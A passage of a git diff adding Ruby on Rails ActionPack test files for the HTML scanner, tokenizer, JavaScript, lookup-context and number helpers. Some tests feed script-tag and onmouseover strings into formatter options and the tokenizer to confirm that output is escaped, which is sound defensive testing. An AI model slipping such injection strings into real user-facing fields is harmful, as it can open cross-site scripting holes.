+ assert t.match(:attributes => {"b" => "else"})
+ end
+
+ def test_match_attributes_as_regexp
+ t = tag("<tag a=something b=else />")
+ assert t.match(:attributes => {"a" => /^something$/})
+ assert t.match(:attributes => {"b" => /e.*e/})
+ assert t.match(:attributes => {"a" => /me..i/, "b" => /.ls.$/})
+ end
+
+ def test_match_attributes_as_number
+ t = tag("<tag a=15 b=3.1415 />")
+ assert t.match(:attributes => {"a" => 15})
+ assert t.match(:attributes => {"b" => 3.1415})
+ assert t.match(:attributes => {"a" => 15, "b" => 3.1415})
+ end
+
+ def test_match_attributes_exist
+ t = tag("<tag a=15 b=3.1415 />")
+ assert t.match(:attributes => {"a" => true})
+ assert t.match(:attributes => {"b" => true})
+ assert t.match(:attributes => {"a" => true, "b" => true})
+ end
+
+ def test_match_attributes_not_exist
+ t = tag("<tag a=15 b=3.1415 />")
+ assert t.match(:attributes => {"c" => false})
+ assert t.match(:attributes => {"c" => nil})
+ assert t.match(:attributes => {"a" => true, "c" => false})
+ end
+
+ def test_match_parent_success
+ t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
+ assert t.match(:parent => {:tag => "foo", :attributes => {"k" => /v.l/, "j" => false}})
+ end
+
+ def test_match_parent_fail
+ t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
+ assert !t.match(:parent => {:tag => /kafka/})
+ end
+
+ def test_match_child_success
+ t = tag("<tag x:k='something'>")
+ tag("<child v=john a=kelly>", t)
+ tag("<sib m=vaughn v=james>", t)
+ assert t.match(:child => { :tag => "sib", :attributes => {"v" => /j/}})
+ assert t.match(:child => { :attributes => {"a" => "kelly"}})
+ end
+
+ def test_match_child_fail
+ t = tag("<tag x:k='something'>")
+ tag("<child v=john a=kelly>", t)
+ tag("<sib m=vaughn v=james>", t)
+ assert !t.match(:child => { :tag => "sib", :attributes => {"v" => /r/}})
+ assert !t.match(:child => { :attributes => {"v" => false}})
+ end
+
+ def test_match_ancestor_success
+ t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
+ assert t.match(:ancestor => {:tag => "parent", :attributes => {"a" => /ll/}})
+ assert t.match(:ancestor => {:attributes => {"m" => "vaughn"}})
+ end
+
+ def test_match_ancestor_fail
+ t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
+ assert !t.match(:ancestor => {:tag => /^parent/, :attributes => {"v" => /m/}})
+ assert !t.match(:ancestor => {:attributes => {"v" => false}})
+ end
+
+ def test_match_descendant_success
+ tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
+ assert t.match(:descendant => {:tag => "child", :attributes => {"a" => /ll/}})
+ assert t.match(:descendant => {:attributes => {"m" => "vaughn"}})
+ end
+
+ def test_match_descendant_fail
+ tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
+ assert !t.match(:descendant => {:tag => /^child/, :attributes => {"v" => /m/}})
+ assert !t.match(:descendant => {:attributes => {"v" => false}})
+ end
+
+ def test_match_child_count
+ t = tag("<tag x:k='something'>")
+ tag("hello", t)
+ tag("<child v=john a=kelly>", t)
+ tag("<sib m=vaughn v=james>", t)
+ assert t.match(:children => { :count => 2 })
+ assert t.match(:children => { :count => 2..4 })
+ assert t.match(:children => { :less_than => 4 })
+ assert t.match(:children => { :greater_than => 1 })
+ assert !t.match(:children => { :count => 3 })
+ end
+
+ def test_conditions_as_strings
+ t = tag("<tag x:k='something'>")
+ assert t.match("tag" => "tag")
+ assert t.match("attributes" => { "x:k" => "something" })
+ assert !t.match("tag" => "gat")
+ assert !t.match("attributes" => { "x:j" => "something" })
+ end
+
+ def test_attributes_as_symbols
+ t = tag("<child v=john a=kelly>")
+ assert t.match(:attributes => { :v => /oh/ })
+ assert t.match(:attributes => { :a => /ll/ })
+ end
+
+ def test_match_sibling
+ t = tag("<tag x:k='something'>")
+ tag("hello", t)
+ tag("<span a=b>", t)
+ tag("world", t)
+ m = tag("<span k=r>", t)
+ tag("<span m=l>", t)
+
+ assert m.match(:sibling => {:tag => "span", :attributes => {:a => true}})
+ assert m.match(:sibling => {:tag => "span", :attributes => {:m => true}})
+ assert !m.match(:sibling => {:tag => "span", :attributes => {:k => true}})
+ end
+
+ def test_match_sibling_before
+ t = tag("<tag x:k='something'>")
+ tag("hello", t)
+ tag("<span a=b>", t)
+ tag("world", t)
+ m = tag("<span k=r>", t)
+ tag("<span m=l>", t)
+
+ assert m.match(:before => {:tag => "span", :attributes => {:m => true}})
+ assert !m.match(:before => {:tag => "span", :attributes => {:a => true}})
+ assert !m.match(:before => {:tag => "span", :attributes => {:k => true}})
+ end
+
+ def test_match_sibling_after
+ t = tag("<tag x:k='something'>")
+ tag("hello", t)
+ tag("<span a=b>", t)
+ tag("world", t)
+ m = tag("<span k=r>", t)
+ tag("<span m=l>", t)
+
+ assert m.match(:after => {:tag => "span", :attributes => {:a => true}})
+ assert !m.match(:after => {:tag => "span", :attributes => {:m => true}})
+ assert !m.match(:after => {:tag => "span", :attributes => {:k => true}})
+ end
+
+ def test_tag_to_s
+ t = tag("<b x='foo'>")
+ tag("hello", t)
+ tag("<hr />", t)
+ assert_equal %(<b x="foo">hello<hr /></b>), t.to_s
+ end
+
+ private
+
+ def tag(content, parent=nil)
+ node = HTML::Node.parse(parent,0,0,content)
+ parent.children << node if parent
+ node
+ end
+end
diff --git a/actionpack/test/template/html-scanner/text_node_test.rb b/actionpack/test/template/html-scanner/text_node_test.rb
new file mode 100644
index 0000000..cbcb9e7
--- /dev/null
+++ b/actionpack/test/template/html-scanner/text_node_test.rb
@@ -0,0 +1,50 @@
+require 'abstract_unit'
+
+class TextNodeTest < ActiveSupport::TestCase
+ def setup
+ @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
+ end
+
+ def test_to_s
+ assert_equal "hello, howdy, aloha, annyeong", @node.to_s
+ end
+
+ def test_find_string
+ assert_equal @node, @node.find("hello, howdy, aloha, annyeong")
+ assert_equal false, @node.find("bogus")
+ end
+
+ def test_find_regexp
+ assert_equal @node, @node.find(/an+y/)
+ assert_nil @node.find(/b/)
+ end
+
+ def test_find_hash
+ assert_equal @node, @node.find(:content => /howdy/)
+ assert_nil @node.find(:content => /^howdy$/)
+ assert_equal false, @node.find(:content => "howdy")
+ end
+
+ def test_find_other
+ assert_nil @node.find(:hello)
+ end
+
+ def test_match_string
+ assert @node.match("hello, howdy, aloha, annyeong")
+ assert_equal false, @node.match("bogus")
+ end
+
+ def test_match_regexp
+ assert_not_nil @node, @node.match(/an+y/)
+ assert_nil @node.match(/b/)
+ end
+
+ def test_match_hash
+ assert_not_nil @node, @node.match(:content => "howdy")
+ assert_nil @node.match(:content => /^howdy$/)
+ end
+
+ def test_match_other
+ assert_nil @node.match(:hello)
+ end
+end
diff --git a/actionpack/test/template/html-scanner/tokenizer_test.rb b/actionpack/test/template/html-scanner/tokenizer_test.rb
new file mode 100644
index 0000000..1d59de2
--- /dev/null
+++ b/actionpack/test/template/html-scanner/tokenizer_test.rb
@@ -0,0 +1,131 @@
+require 'abstract_unit'
+
+class TokenizerTest < ActiveSupport::TestCase
+
+ def test_blank
+ tokenize ""
+ assert_end
+ end
+
+ def test_space
+ tokenize " "
+ assert_next " "
+ assert_end
+ end
+
+ def test_tag_simple_open
+ tokenize "<tag>"
+ assert_next "<tag>"
+ assert_end
+ end
+
+ def test_tag_simple_self_closing
+ tokenize "<tag />"
+ assert_next "<tag />"
+ assert_end
+ end
+
+ def test_tag_simple_closing
+ tokenize "</tag>"
+ assert_next "</tag>"
+ end
+
+ def test_tag_with_single_quoted_attribute
+ tokenize %{<tag a='hello'>x}
+ assert_next %{<tag a='hello'>}
+ end
+
+ def test_tag_with_single_quoted_attribute_with_escape
+ tokenize %{<tag a='hello\\''>x}
+ assert_next %{<tag a='hello\\''>}
+ end
+
+ def test_tag_with_double_quoted_attribute
+ tokenize %{<tag a="hello">x}
+ assert_next %{<tag a="hello">}
+ end
+
+ def test_tag_with_double_quoted_attribute_with_escape
+ tokenize %{<tag a="hello\\"">x}
+ assert_next %{<tag a="hello\\"">}
+ end
+
+ def test_tag_with_unquoted_attribute
+ tokenize %{<tag a=hello>x}
+ assert_next %{<tag a=hello>}
+ end
+
+ def test_tag_with_lt_char_in_attribute
+ tokenize %{<tag a="x < y">x}
+ assert_next %{<tag a="x < y">}
+ end
+
+ def test_tag_with_gt_char_in_attribute
+ tokenize %{<tag a="x > y">x}
+ assert_next %{<tag a="x > y">}
+ end
+
+ def test_doctype_tag
+ tokenize %{<!DOCTYPE "blah" "blah" "blah">\n <html>}
+ assert_next %{<!DOCTYPE "blah" "blah" "blah">}
+ assert_next %{\n }
+ assert_next %{<html>}
+ end
+
+ def test_cdata_tag
+ tokenize %{<![CDATA[<br>]]>}
+ assert_next %{<![CDATA[<br>]]>}
+ assert_end
+ end
+
+ def test_unterminated_cdata_tag
+ tokenize %{<content:encoded><![CDATA[ neverending...}
+ assert_next %{<content:encoded>}
+ assert_next %{<![CDATA[ neverending...}
+ assert_end
+ end
+
+ def test_less_than_with_space
+ tokenize %{original < hello > world}
+ assert_next %{original }
+ assert_next %{< hello > world}
+ end
+
+ def test_less_than_without_matching_greater_than
+ tokenize %{hello <span onmouseover="gotcha"\n<b>foo</b>\nbar</span>}
+ assert_next %{hello }
+ assert_next %{<span onmouseover="gotcha"\n}
+ assert_next %{<b>}
+ assert_next %{foo}
+ assert_next %{</b>}
+ assert_next %{\nbar}
+ assert_next %{</span>}
+ assert_end
+ end
+
+ def test_unterminated_comment
+ tokenize %{hello <!-- neverending...}
+ assert_next %{hello }
+ assert_next %{<!-- neverending...}
+ assert_end
+ end
+
+ private
+
+ def tokenize(text)
+ @tokenizer = HTML::Tokenizer.new(text)
+ end
+
+ def assert_next(expected, message=nil)
+ token = @tokenizer.next
+ assert_equal expected, token, message
+ end
+
+ def assert_sequence(*expected)
+ assert_next expected.shift until expected.empty?
+ end
+
+ def assert_end(message=nil)
+ assert_nil @tokenizer.next, message
+ end
+end
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
new file mode 100644
index 0000000..1eed8ad
--- /dev/null
+++ b/actionpack/test/template/javascript_helper_test.rb
@@ -0,0 +1,104 @@
+require 'abstract_unit'
+
+class JavaScriptHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::JavaScriptHelper
+
+ def _evaluate_assigns_and_ivars() end
+
+ attr_accessor :formats, :output_buffer
+
+ def update_details(details)
+ @details = details
+ yield if block_given?
+ end
+
+ def setup
+ super
+ ActiveSupport.escape_html_entities_in_json = true
+ @template = self
+ end
+
+ def teardown
+ ActiveSupport.escape_html_entities_in_json = false
+ end
+
+ def test_escape_javascript
+ assert_equal '', escape_javascript(nil)
+ assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
+ assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
+ assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+ assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding(Encoding::UTF_8).encode!)
+ assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding(Encoding::UTF_8).encode!)
+
+ assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
+ end
+
+ def test_escape_javascript_with_safebuffer
+ given = %('quoted' "double-quoted" new-line:\n </closed>)
+ expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
+ assert_equal expect, escape_javascript(given)
+ assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+ assert_instance_of String, escape_javascript(given)
+ assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+ end
+
+ def test_button_to_function
+ assert_deprecated do
+ assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
+ button_to_function("Greeting", "alert('Hello world!')")
+ end
+ end
+
+ def test_button_to_function_with_onclick
+ assert_deprecated do
+ assert_dom_equal "<input onclick=\"alert('Goodbye World :('); alert('Hello world!');\" type=\"button\" value=\"Greeting\" />",
+ button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
+ end
+ end
+
+ def test_button_to_function_without_function
+ assert_deprecated do
+ assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
+ button_to_function("Greeting")
+ end
+ end
+
+ def test_link_to_function
+ assert_deprecated do
+ assert_dom_equal %(<a href="#" onclick="alert('Hello world!'); return false;">Greeting</a>),
+ link_to_function("Greeting", "alert('Hello world!')")
+ end
+ end
+
+ def test_link_to_function_with_existing_onclick
+ assert_deprecated do
+ assert_dom_equal %(<a href="#" onclick="confirm('Sanity!'); alert('Hello world!'); return false;">Greeting</a>),
+ link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
+ end
+ end
+
+ def test_function_with_href
+ assert_deprecated do
+ assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
+ link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
+ end
+ end
+
+ def test_javascript_tag
+ self.output_buffer = 'foo'
+
+ assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+ javascript_tag("alert('hello')")
+
+ assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
+ end
+
+ def test_javascript_tag_with_options
+ assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+ javascript_tag("alert('hello')", :id => "the_js_tag")
+ end
+
+ def test_javascript_cdata_section
+ assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
+ end
+end
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb
new file mode 100644
index 0000000..7f4c849
--- /dev/null
+++ b/actionpack/test/template/log_subscriber_test.rb
@@ -0,0 +1,91 @@
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "action_view/log_subscriber"
+require "controller/fake_models"
+
+class AVLogSubscriberTest < ActiveSupport::TestCase
+ include ActiveSupport::LogSubscriber::TestHelper
+
+ def setup
+ super
+ view_paths = ActionController::Base.view_paths
+ lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+ renderer = ActionView::Renderer.new(lookup_context)
+ @view = ActionView::Base.new(renderer, {})
+ Rails.stubs(:root).returns(File.expand_path(FIXTURE_LOAD_PATH))
+ ActionView::LogSubscriber.attach_to :action_view
+ end
+
+ def teardown
+ super
+ ActiveSupport::LogSubscriber.log_subscribers.clear
+ end
+
+ def set_logger(logger)
+ ActionView::Base.logger = logger
+ end
+
+ def test_render_file_template
+ @view.render(:file => "test/hello_world")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last)
+ end
+
+ def test_render_text_template
+ @view.render(:text => "TEXT")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered text template/, @logger.logged(:info).last)
+ end
+
+ def test_render_inline_template
+ @view.render(:inline => "<%= 'TEXT' %>")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered inline template/, @logger.logged(:info).last)
+ end
+
+ def test_render_partial_template
+ @view.render(:partial => "test/customer")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered test\/_customer.erb/, @logger.logged(:info).last)
+ end
+
+ def test_render_partial_with_implicit_path
+ @view.render(Customer.new("david"), :greeting => "hi")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last)
+ end
+
+ def test_render_collection_template
+ @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered test\/_customer.erb/, @logger.logged(:info).last)
+ end
+
+ def test_render_collection_with_implicit_path
+ @view.render([ Customer.new("david"), Customer.new("mary") ], :greeting => "hi")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last)
+ end
+
+ def test_render_collection_template_without_path
+ @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], :greeting => "hi")
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_match(/Rendered collection/, @logger.logged(:info).last)
+ end
+end
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
new file mode 100644
index 0000000..073bd14
--- /dev/null
+++ b/actionpack/test/template/lookup_context_test.rb
@@ -0,0 +1,263 @@
+require "abstract_unit"
+require "abstract_controller/rendering"
+
+class LookupContextTest < ActiveSupport::TestCase
+ def setup
+ @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+ ActionView::LookupContext::DetailsKey.clear
+ end
+
+ def teardown
+ I18n.locale = :en
+ end
+
+ test "allows to override default_formats with ActionView::Base.default_formats" do
+ begin
+ formats = ActionView::Base.default_formats
+ ActionView::Base.default_formats = [:foo, :bar]
+
+ assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+ ensure
+ ActionView::Base.default_formats = formats
+ end
+ end
+
+ test "process view paths on initialization" do
+ assert_kind_of ActionView::PathSet, @lookup_context.view_paths
+ end
+
+ test "normalizes details on initialization" do
+ assert_equal Mime::SET, @lookup_context.formats
+ assert_equal :en, @lookup_context.locale
+ end
+
+ test "allows me to freeze and retrieve frozen formats" do
+ @lookup_context.formats.freeze
+ assert @lookup_context.formats.frozen?
+ end
+
+ test "provides getters and setters for formats" do
+ @lookup_context.formats = [:html]
+ assert_equal [:html], @lookup_context.formats
+ end
+
+ test "handles */* formats" do
+ @lookup_context.formats = ["*/*"]
+ assert_equal Mime::SET, @lookup_context.formats
+ end
+
+ test "handles explicitly defined */* formats fallback to :js" do
+ @lookup_context.formats = [:js, Mime::ALL]
+ assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
+ end
+
+ test "adds :html fallback to :js formats" do
+ @lookup_context.formats = [:js]
+ assert_equal [:js, :html], @lookup_context.formats
+ end
+
+ test "provides getters and setters for locale" do
+ @lookup_context.locale = :pt
+ assert_equal :pt, @lookup_context.locale
+ end
+
+ test "changing lookup_context locale, changes I18n.locale" do
+ @lookup_context.locale = :pt
+ assert_equal :pt, I18n.locale
+ end
+
+ test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
+ begin
+ I18n.config = AbstractController::I18nProxy.new(I18n.config, @lookup_context)
+ @lookup_context.locale = :pt
+ assert_equal :pt, I18n.locale
+ assert_equal :pt, @lookup_context.locale
+ ensure
+ I18n.config = I18n.config.original_config
+ end
+
+ assert_equal :pt, I18n.locale
+ end
+
+ test "find templates using the given view paths and configured details" do
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello world!", template.source
+
+ @lookup_context.locale = :da
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hey verden", template.source
+ end
+
+ test "found templates respects given formats if one cannot be found from template or handler" do
+ ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
+ @lookup_context.formats = [:text]
+ template = @lookup_context.find("hello", %w(test))
+ assert_equal [:text], template.formats
+ end
+
+ test "adds fallbacks to view paths when required" do
+ assert_equal 1, @lookup_context.view_paths.size
+
+ @lookup_context.with_fallbacks do
+ assert_equal 3, @lookup_context.view_paths.size
+ assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new(""))
+ assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new("/"))
+ end
+ end
+
+ test "add fallbacks just once in nested fallbacks calls" do
+ @lookup_context.with_fallbacks do
+ @lookup_context.with_fallbacks do
+ assert_equal 3, @lookup_context.view_paths.size
+ end
+ end
+ end
+
+ test "generates a new details key for each details hash" do
+ keys = []
+ keys << @lookup_context.details_key
+ assert_equal 1, keys.uniq.size
+
+ @lookup_context.locale = :da
+ keys << @lookup_context.details_key
+ assert_equal 2, keys.uniq.size
+
+ @lookup_context.locale = :en
+ keys << @lookup_context.details_key
+ assert_equal 2, keys.uniq.size
+
+ @lookup_context.formats = [:html]
+ keys << @lookup_context.details_key
+ assert_equal 3, keys.uniq.size
+
+ @lookup_context.formats = nil
+ keys << @lookup_context.details_key
+ assert_equal 3, keys.uniq.size
+ end
+
+ test "gives the key forward to the resolver, so it can be used as cache key" do
+ @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now we are going to change the template, but it won't change the returned template
+ # since we will hit the cache.
+ @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # This time we will change the locale. The updated template should be picked since
+ # lookup_context generated a new key after we changed the locale.
+ @lookup_context.locale = :da
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+
+ # Now we will change back the locale and it will still pick the old template.
+ # This is expected because lookup_context will reuse the previous key for :en locale.
+ @lookup_context.locale = :en
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Finally, we can expire the cache. And the expected template will be used.
+ @lookup_context.view_paths.first.clear_cache
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+ end
+
+ test "can disable the cache on demand" do
+ @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+ old_template = @lookup_context.find("foo", %w(test), true)
+
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal template, old_template
+
+ assert @lookup_context.cache
+ template = @lookup_context.disable_cache do
+ assert !@lookup_context.cache
+ @lookup_context.find("foo", %w(test), true)
+ end
+ assert @lookup_context.cache
+
+ assert_not_equal template, old_template
+ end
+
+ test "responds to #prefixes" do
+ assert_equal [], @lookup_context.prefixes
+ @lookup_context.prefixes = ["foo"]
+ assert_equal ["foo"], @lookup_context.prefixes
+ end
+end
+
+class LookupContextWithFalseCaching < ActiveSupport::TestCase
+ def setup
+ @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
+ ActionView::Resolver.stubs(:caching?).returns(false)
+ @lookup_context = ActionView::LookupContext.new(@resolver, {})
+ end
+
+ test "templates are always found in the resolver but timestamp is checked before being compiled" do
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now we are going to change the template, but it won't change the returned template
+ # since the timestamp is the same.
+ @resolver.hash["test/_foo.erb"][0] = "Bar"
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now update the timestamp.
+ @resolver.hash["test/_foo.erb"][1] = Time.now.utc
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+ end
+
+ test "if no template was found in the second lookup, with no cache, raise error" do
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ @resolver.hash.clear
+ assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(test), true)
+ end
+ end
+
+ test "if no template was cached in the first lookup, retrieval should work in the second call" do
+ @resolver.hash.clear
+ assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(test), true)
+ end
+
+ @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+ end
+end
+
+class TestMissingTemplate < ActiveSupport::TestCase
+ def setup
+ @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
+ end
+
+ test "if no template was found we get a helpful error message including the inheritance chain" do
+ e = assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(parent child))
+ end
+ assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+ test "if no partial was found we get a helpful error message including the inheritance chain" do
+ e = assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(parent child), true)
+ end
+ assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+ test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
+ e = assert_raise ActionView::MissingTemplate do
+ details = {:handlers=>[], :formats=>[], :locale=>[]}
+ @lookup_context.view_paths.find("foo", "parent", true, details)
+ end
+ assert_match %r{Missing partial parent/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+end
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
new file mode 100644
index 0000000..6e64088
--- /dev/null
+++ b/actionpack/test/template/number_helper_test.rb
@@ -0,0 +1,151 @@
+require "abstract_unit"
+
+class NumberHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::NumberHelper
+
+ def test_number_to_phone
+ assert_equal nil, number_to_phone(nil)
+ assert_equal "555-1234", number_to_phone(5551234)
+ assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
+ assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+ end
+
+ def test_number_to_currency
+ assert_equal nil, number_to_currency(nil)
+ assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
+ assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
+ assert_equal "1,234,567,890.50 - Kč", number_to_currency("-1234567890.50", unit: "Kč", format: "%n %u", negative_format: "%n - %u")
+ end
+
+ def test_number_to_percentage
+ assert_equal nil, number_to_percentage(nil)
+ assert_equal "100.000%", number_to_percentage(100)
+ assert_equal "100%", number_to_percentage(100, precision: 0)
+ assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
+ assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+ end
+
+ def test_number_with_delimiter
+ assert_equal nil, number_with_delimiter(nil)
+ assert_equal "12,345,678", number_with_delimiter(12345678)
+ assert_equal "0", number_with_delimiter(0)
+ end
+
+ def test_number_with_precision
+ assert_equal nil, number_with_precision(nil)
+ assert_equal "-111.235", number_with_precision(-111.2346)
+ assert_equal "111.00", number_with_precision(111, precision: 2)
+ assert_equal "0.00100", number_with_precision(0.001, precision: 5)
+ end
+
+ def test_number_to_human_size
+ assert_equal nil, number_to_human_size(nil)
+ assert_equal "3 Bytes", number_to_human_size(3.14159265)
+ assert_equal "1.2 MB", number_to_human_size(1234567, precision: 2)
+ end
+
+ def test_number_to_human
+ assert_equal nil, number_to_human(nil)
+ assert_equal "0", number_to_human(0)
+ assert_equal "1.23 Thousand", number_to_human(1234)
+ assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
+ end
+
+ def test_number_helpers_escape_delimiter_and_separator
+ assert_equal "111<script></script>111<script></script>1111", number_to_phone(1111111111, delimiter: "<script></script>")
+
+ assert_equal "$1<script></script>01", number_to_currency(1.01, separator: "<script></script>")
+ assert_equal "$1<script></script>000.00", number_to_currency(1000, delimiter: "<script></script>")
+
+ assert_equal "1<script></script>010%", number_to_percentage(1.01, separator: "<script></script>")
+ assert_equal "1<script></script>000.000%", number_to_percentage(1000, delimiter: "<script></script>")
+
+ assert_equal "1<script></script>01", number_with_delimiter(1.01, separator: "<script></script>")
+ assert_equal "1<script></script>000", number_with_delimiter(1000, delimiter: "<script></script>")
+
+ assert_equal "1<script></script>010", number_with_precision(1.01, separator: "<script></script>")
+ assert_equal "1<script></script>000.000", number_with_precision(1000, delimiter: "<script></script>")
+
+ assert_equal "9<script></script>86 KB", number_to_human_size(10100, separator: "<script></script>")
+
+ assert_equal "1<script></script>01", number_to_human(1.01, separator: "<script></script>")
+ assert_equal "100<script></script>000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
+ end
+
+ def test_number_helpers_outputs_are_html_safe
+ assert number_to_human(1).html_safe?
+ assert !number_to_human("<script></script>").html_safe?
+ assert number_to_human("asdf".html_safe).html_safe?
+ assert number_to_human("1".html_safe).html_safe?
+
+ assert number_to_human_size(1).html_safe?
+ assert number_to_human_size(1000000).html_safe?
+ assert !number_to_human_size("<script></script>").html_safe?
+ assert number_to_human_size("asdf".html_safe).html_safe?
+ assert number_to_human_size("1".html_safe).html_safe?
+
+ assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
+ assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
+ assert !number_with_precision("<script></script>").html_safe?
+ assert number_with_precision("asdf".html_safe).html_safe?
+ assert number_with_precision("1".html_safe).html_safe?
+
+ assert number_to_currency(1).html_safe?
+ assert !number_to_currency("<script></script>").html_safe?
+ assert number_to_currency("asdf".html_safe).html_safe?
+ assert number_to_currency("1".html_safe).html_safe?
+
+ assert number_to_percentage(1).html_safe?
+ assert !number_to_percentage("<script></script>").html_safe?
+ assert number_to_percentage("asdf".html_safe).html_safe?
+ assert number_to_percentage("1".html_safe).html_safe?
+
+ assert number_to_phone(1).html_safe?
+ assert_equal "<script></script>", number_to_phone("<script></script>")
+ assert number_to_phone("<script></script>").html_safe?
+ assert number_to_phone("asdf".html_safe).html_safe?
+ assert number_to_phone("1".html_safe).html_safe?
+
+ assert number_with_delimiter(1).html_safe?
+ assert !number_with_delimiter("<script></script>").html_safe?
+ assert number_with_delimiter("asdf".html_safe).html_safe?
+ assert number_with_delimiter("1".html_safe).html_safe?
+ end
+
